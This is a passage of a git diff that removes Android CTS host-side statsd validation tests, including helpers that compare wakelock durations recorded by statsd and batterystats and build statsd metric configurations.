-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL_PKG_PROC.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-        assertThat(statsdData).isNotEmpty();
-        assertThat(
-                statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
-                        .getProcessStatsList()
-        ).isNotEmpty();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        long durationStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsPackageProto pkg : d.getProcStatsPkgProc().getProcStatsSection().getPackageStatsList()) {
-                if (pkg.getPackage().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(pkg.toString());
-                    for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                        for (ProcessStatsStateProto state : process.getStatesList()) {
-                            if (state.getProcessState()
-                                    == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                                durationStatsd = state.getDurationMillis();
-                                rssAvgStatsd = state.getRss().getAverage();
-                            }
-                        }
-                    }
-                }
-                assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
-                assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
-            }
-        }
-
-        LogUtil.CLog.d("avg rss from statsd is " + rssAvgStatsd);
-
-        List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
-
-        long pssAvgProcstats = 0;
-        long ussAvgProcstats = 0;
-        long rssAvgProcstats = 0;
-        long durationProcstats = 0;
-        int serviceStatsCount = 0;
-        int associationStatsCount = 0;
-        for (ProcessStatsPackageProto pkg : processStatsPackageProtoList) {
-            if (pkg.getPackage().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(pkg.toString());
-                for (ProcessStatsProto process : pkg.getProcessStatsList()) {
-                    for (ProcessStatsStateProto state : process.getStatesList()) {
-                        if (state.getProcessState()
-                                == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            durationProcstats = state.getDurationMillis();
-                            pssAvgProcstats = state.getPss().getAverage();
-                            ussAvgProcstats = state.getUss().getAverage();
-                            rssAvgProcstats = state.getRss().getAverage();
-                        }
-                    }
-                }
-            }
-            serviceStatsCount += pkg.getServiceStatsCount();
-            associationStatsCount += pkg.getAssociationStatsCount();
-        }
-        assertThat(serviceStatsCount).isGreaterThan(0);
-        assertThat(associationStatsCount).isGreaterThan(0);
-
-        LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-        */
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
deleted file mode 100644
index d3e5bad..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.BaseTestCase;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import com.google.protobuf.TextFormat;
-import com.google.protobuf.TextFormat.ParseException;
-
-import java.io.File;
-import java.io.IOException;
-
-public class ValidationTestUtil extends BaseTestCase {
-
-    private static final String TAG = "Statsd.ValidationTestUtil";
-
-    public StatsdConfig getConfig(String fileName) throws IOException {
-        try {
-            // TODO: Ideally, we should use real metrics that are also pushed to the fleet.
-            File configFile = getBuildHelper().getTestFile(fileName);
-            String configStr = FileUtil.readStringFromFile(configFile);
-            StatsdConfig.Builder builder = StatsdConfig.newBuilder();
-            TextFormat.merge(configStr, builder);
-            return builder.build();
-        } catch (ParseException e) {
-            LogUtil.CLog.e(
-                    "Failed to parse the config! line: " + e.getLine() + " col: " + e.getColumn(),
-                    e);
-        }
-        return null;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
deleted file mode 100644
index 87f6840..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ /dev/null
@@ -1,676 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Wakelock;
-import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.view.DisplayStateEnum;
-
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.LogicalOperation;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.PluggedStateChanged;
-import com.android.os.AtomsProto.ScreenStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class ValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.ValidationTests";
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    private static final boolean ENABLE_LOAD_TEST = false;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        resetBatteryStatus(); // Undo any unplugDevice().
-        turnScreenOn(); // Reset screen to on state
-        super.tearDown();
-    }
-
-    public void testPartialWakelock() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        turnScreenOff();
-
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.ACQUIRE_VALUE,
-                WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
-        Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
-                WakelockStateChanged.State.RELEASE_VALUE,
-                WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-
-        //=================== verify that statsd is correct ===============//
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getWakelockStateChanged().getState().getNumber());
-
-        for (EventMetricData event : data) {
-            String tag = event.getAtom().getWakelockStateChanged().getTag();
-            WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
-            assertThat(tag).isEqualTo(EXPECTED_TAG);
-            assertThat(type).isEqualTo(EXPECTED_LEVEL);
-        }
-
-        //=================== verify that batterystats is correct ===============//
-        int uid = getUid();
-        android.os.TimerProto wl =
-                getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
-
-        assertThat(wl).isNotNull();
-        assertThat(wl.getDurationMs()).isGreaterThan(0L);
-        assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
-        assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    @RestrictedBuildTest
-    public void testPartialWakelockDuration() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-
-        // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
-        // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
-        final int EXPECTED_UID = getUid();
-
-
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-        Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
-        final int MIN_DURATION = 350;
-        final int MAX_DURATION = 700;
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // Get the batterystats wakelock time and make sure it's reasonable.
-        android.os.TimerProto bsWakelock =
-                getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
-        assertWithMessage(
-                "No partial wakelocks with uid %s and tag %s in BatteryStats",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsWakelock).isNotNull();
-        long bsDurationMs = bsWakelock.getTotalDurationMs();
-        assertWithMessage(
-                "Wakelock in batterystats with uid %s and tag %s was too short or too long",
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Get the statsd wakelock time and make sure it's reasonable.
-        assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
-                .that(statsdWakelockData).containsKey(EXPECTED_UID);
-        assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
-                .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
-        long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
-                .get(EXPECTED_TAG_HASH) / 1_000_000;
-        assertWithMessage(
-                "Wakelock in statsd with uid %s and tag %s was too short or too long", 
-                EXPECTED_UID, EXPECTED_TAG
-        ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
-        // Compare batterystats with statsd.
-        long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        assertWithMessage(
-                "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
-                EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
-        ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
-
-        setAodState(aodState); // restores AOD to initial state.
-    }
-
-    public void testPartialWakelockLoad() throws Exception {
-        if (!ENABLE_LOAD_TEST) return;
-        turnScreenOn(); // To ensure that the ScreenOff later gets logged.
-        uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
-        Thread.sleep(WAIT_TIME_SHORT);
-        resetBatteryStats();
-        unplugDevice();
-        turnScreenOff();
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockLoad");
-        // Give time for stuck wakelocks to increase duration.
-        Thread.sleep(10_000);
-
-
-        final String EXPECTED_TAG = "StatsdPartialWakelock";
-        final int EXPECTED_UID = getUid();
-        final int NUM_THREADS = 16;
-        final int NUM_COUNT_PER_THREAD = 1000;
-        final int MAX_DURATION_MS = 15_000;
-        final int MIN_DURATION_MS = 1_000;
-
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
-        // TODO: this fails because we only have the hashes of the wakelock tags in statsd.
-        // If we want to run this test, we need to fix this.
-
-        // Verify batterystats output is reasonable.
-        // boolean foundUid = false;
-        // for (UidProto uidProto : batterystatsProto.getUidsList()) {
-        //     if (uidProto.getUid() == EXPECTED_UID) {
-        //         foundUid = true;
-        //         CLog.d("Battery stats has the following wakelocks: \n" +
-        //                 uidProto.getWakelocksList());
-        //         assertTrue("UidProto has size "  + uidProto.getWakelocksList().size() +
-        //                 " wakelocks in it. Expected " + NUM_THREADS + " wakelocks.",
-        //                 uidProto.getWakelocksList().size() == NUM_THREADS);
-        //
-        //         for (Wakelock wl : uidProto.getWakelocksList()) {
-        //             String tag = wl.getName();
-        //             assertTrue("Wakelock tag in batterystats " + tag + " does not contain "
-        //                     + "expected tag " + EXPECTED_TAG, tag.contains(EXPECTED_TAG));
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " does not have any "
-        //                             + "partial wakelock data.", wl.hasPartial());
-        //             assertTrue("Wakelock in batterystats with tag " + tag + " tag has count " +
-        //                     wl.getPartial().getCount() + " Expected " + NUM_COUNT_PER_THREAD,
-        //                     wl.getPartial().getCount() == NUM_COUNT_PER_THREAD);
-        //             long bsDurationMs = wl.getPartial().getTotalDurationMs();
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION_MS +
-        //                     ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION_MS);
-        //             assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
-        //                     + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION_MS +
-        //                     ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION_MS);
-        //
-        //             // Validate statsd.
-        //             long statsdDurationNs = statsdWakelockData.get(EXPECTED_UID).get(tag);
-        //             long statsdDurationMs = statsdDurationNs / 1_000_000;
-        //             long difference = Math.abs(statsdDurationMs - bsDurationMs);
-        //             assertTrue("Unusually large difference in wakelock duration for tag: " +
-        // tag +
-        //                         ". Statsd had duration " + statsdDurationMs +
-        //                         " and batterystats had duration " + bsDurationMs,
-        //                         difference <= bsDurationMs / 10);
-        //
-        //         }
-        //     }
-        // }
-        // assertTrue("Did not find uid " + EXPECTED_UID + " in batterystats.", foundUid);
-        //
-        // // Assert that the wakelock appears in statsd and is correct.
-        // assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
-        //         statsdWakelockData.containsKey(EXPECTED_UID));
-        // HashMap<String, Long> expectedWakelocks = statsdWakelockData.get(EXPECTED_UID);
-        // assertEquals("Expected " + NUM_THREADS + " wakelocks in statsd with UID " +
-        // EXPECTED_UID +
-        //         ". Received " + expectedWakelocks.size(), expectedWakelocks.size(), NUM_THREADS);
-    }
-
-    // Helper functions
-    // TODO: Refactor these into some utils class.
-
-    public HashMap<Integer, HashMap<Long, Long>> getStatsdWakelockData() throws Exception {
-        StatsLogReport report = getStatsLogReport();
-        CLog.d("Received the following stats log report: \n" + report.toString());
-
-        // Stores total duration of each wakelock across buckets.
-        HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = new HashMap<>();
-
-        for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
-            // Gets tag and uid.
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            assertThat(dims).hasSize(2);
-            boolean hasTag = false;
-            long tag = 0;
-            int uid = -1;
-            long duration = 0;
-            for (DimensionsValue dim : dims) {
-                if (dim.hasValueInt()) {
-                    uid = dim.getValueInt();
-                } else if (dim.hasValueStrHash()) {
-                    hasTag = true;
-                    tag = dim.getValueStrHash();
-                }
-            }
-            assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
-            assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
-
-            // Gets duration.
-            for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
-                duration += bucketInfo.getDurationNanos();
-            }
-
-            // Store the info.
-            if (statsdWakelockData.containsKey(uid)) {
-                HashMap<Long, Long> tagToDuration = statsdWakelockData.get(uid);
-                tagToDuration.put(tag, duration);
-            } else {
-                HashMap<Long, Long> tagToDuration = new HashMap<>();
-                tagToDuration.put(tag, duration);
-                statsdWakelockData.put(uid, tagToDuration);
-            }
-        }
-        CLog.d("follow: statsdwakelockdata is: " + statsdWakelockData);
-        return statsdWakelockData;
-    }
-
-    private android.os.TimerProto getBatteryStatsPartialWakelock(BatteryStatsProto proto,
-            long uid, String tag) {
-        if (proto.getUidsList().size() < 1) {
-            CLog.w("Batterystats proto contains no uids");
-            return null;
-        }
-        boolean hadUid = false;
-        for (UidProto uidProto : proto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                hadUid = true;
-                for (Wakelock wl : uidProto.getWakelocksList()) {
-                    if (tag.equals(wl.getName())) {
-                        if (wl.hasPartial()) {
-                            return wl.getPartial();
-                        }
-                        CLog.w("Batterystats had wakelock for uid (" + uid + ") "
-                                + "with tag (" + tag + ") "
-                                + "but it didn't have a partial wakelock");
-                    }
-                }
-                CLog.w("Batterystats didn't have a partial wakelock for uid " + uid
-                        + " with tag " + tag);
-            }
-        }
-        if (!hadUid) CLog.w("Batterystats didn't have uid " + uid);
-        return null;
-    }
-
-    public void uploadWakelockDurationBatteryStatsConfig(TimeUnit bucketsize) throws Exception {
-        final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
-        String metricName = "DURATION_PARTIAL_WAKELOCK_PER_TAG_UID_WHILE_SCREEN_OFF_ON_BATTERY";
-        int metricId = metricName.hashCode();
-
-        String partialWakelockIsOnName = "PARTIAL_WAKELOCK_IS_ON";
-        int partialWakelockIsOnId = partialWakelockIsOnName.hashCode();
-
-        String partialWakelockOnName = "PARTIAL_WAKELOCK_ON";
-        int partialWakelockOnId = partialWakelockOnName.hashCode();
-        String partialWakelockOffName = "PARTIAL_WAKELOCK_OFF";
-        int partialWakelockOffId = partialWakelockOffName.hashCode();
-
-        String partialWakelockAcquireName = "PARTIAL_WAKELOCK_ACQUIRE";
-        int partialWakelockAcquireId = partialWakelockAcquireName.hashCode();
-        String partialWakelockChangeAcquireName = "PARTIAL_WAKELOCK_CHANGE_ACQUIRE";
-        int partialWakelockChangeAcquireId = partialWakelockChangeAcquireName.hashCode();
-
-        String partialWakelockReleaseName = "PARTIAL_WAKELOCK_RELEASE";
-        int partialWakelockReleaseId = partialWakelockReleaseName.hashCode();
-        String partialWakelockChangeReleaseName = "PARTIAL_WAKELOCK_CHANGE_RELEASE";
-        int partialWakelockChangeReleaseId = partialWakelockChangeReleaseName.hashCode();
-
-
-        String screenOffBatteryOnName = "SCREEN_IS_OFF_ON_BATTERY";
-        int screenOffBatteryOnId = screenOffBatteryOnName.hashCode();
-
-        String screenStateUnknownName = "SCREEN_STATE_UNKNOWN";
-        int screenStateUnknownId = screenStateUnknownName.hashCode();
-        String screenStateOffName = "SCREEN_STATE_OFF";
-        int screenStateOffId = screenStateOffName.hashCode();
-        String screenStateOnName = "SCREEN_STATE_ON";
-        int screenStateOnId = screenStateOnName.hashCode();
-        String screenStateDozeName = "SCREEN_STATE_DOZE";
-        int screenStateDozeId = screenStateDozeName.hashCode();
-        String screenStateDozeSuspendName = "SCREEN_STATE_DOZE_SUSPEND";
-        int screenStateDozeSuspendId = screenStateDozeSuspendName.hashCode();
-        String screenStateVrName = "SCREEN_STATE_VR";
-        int screenStateVrId = screenStateVrName.hashCode();
-        String screenStateOnSuspendName = "SCREEN_STATE_ON_SUSPEND";
-        int screenStateOnSuspendId = screenStateOnSuspendName.hashCode();
-
-        String screenTurnedOnName = "SCREEN_TURNED_ON";
-        int screenTurnedOnId = screenTurnedOnName.hashCode();
-        String screenTurnedOffName = "SCREEN_TURNED_OFF";
-        int screenTurnedOffId = screenTurnedOffName.hashCode();
-
-        String screenIsOffName = "SCREEN_IS_OFF";
-        int screenIsOffId = screenIsOffName.hashCode();
-
-        String pluggedStateBatteryPluggedNoneName = "PLUGGED_STATE_BATTERY_PLUGGED_NONE";
-        int pluggedStateBatteryPluggedNoneId = pluggedStateBatteryPluggedNoneName.hashCode();
-        String pluggedStateBatteryPluggedAcName = "PLUGGED_STATE_BATTERY_PLUGGED_AC";
-        int pluggedStateBatteryPluggedAcId = pluggedStateBatteryPluggedAcName.hashCode();
-        String pluggedStateBatteryPluggedUsbName = "PLUGGED_STATE_BATTERY_PLUGGED_USB";
-        int pluggedStateBatteryPluggedUsbId = pluggedStateBatteryPluggedUsbName.hashCode();
-        String pluggedStateBatteryPluggedWlName = "PLUGGED_STATE_BATTERY_PLUGGED_WIRELESS";
-        int pluggedStateBatteryPluggedWirelessId = pluggedStateBatteryPluggedWlName.hashCode();
-
-        String pluggedStateBatteryPluggedName = "PLUGGED_STATE_BATTERY_PLUGGED";
-        int pluggedStateBatteryPluggedId = pluggedStateBatteryPluggedName.hashCode();
-
-        String deviceIsUnpluggedName = "DEVICE_IS_UNPLUGGED";
-        int deviceIsUnpluggedId = deviceIsUnpluggedName.hashCode();
-
-
-        FieldMatcher.Builder dimensions = FieldMatcher.newBuilder()
-                .setField(atomTag)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(WakelockStateChanged.TAG_FIELD_NUMBER))
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(1)
-                        .setPosition(Position.FIRST)
-                        .addChild(FieldMatcher.newBuilder()
-                                .setField(1)));
-
-        AtomMatcher.Builder wakelockAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeAcquire = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeAcquireId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)));
-
-        AtomMatcher.Builder wakelockRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockChangeRelease = AtomMatcher.newBuilder()
-                .setId(partialWakelockChangeReleaseId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(atomTag)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
-                                .setEqInt(WakeLockLevelEnum.PARTIAL_WAKE_LOCK_VALUE))
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(WakelockStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)));
-
-        AtomMatcher.Builder wakelockOn = AtomMatcher.newBuilder()
-                .setId(partialWakelockOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockAcquireId)
-                        .addMatcher(partialWakelockChangeAcquireId));
-
-        AtomMatcher.Builder wakelockOff = AtomMatcher.newBuilder()
-                .setId(partialWakelockOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(partialWakelockReleaseId)
-                        .addMatcher(partialWakelockChangeReleaseId));
-
-
-        Predicate.Builder wakelockPredicate = Predicate.newBuilder()
-                .setId(partialWakelockIsOnId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(partialWakelockOnId)
-                        .setStop(partialWakelockOffId)
-                        .setCountNesting(true)
-                        .setDimensions(dimensions));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedNone = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedNoneId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedAc = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedAcId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPluggedUsb = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedUsbId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE)));
-
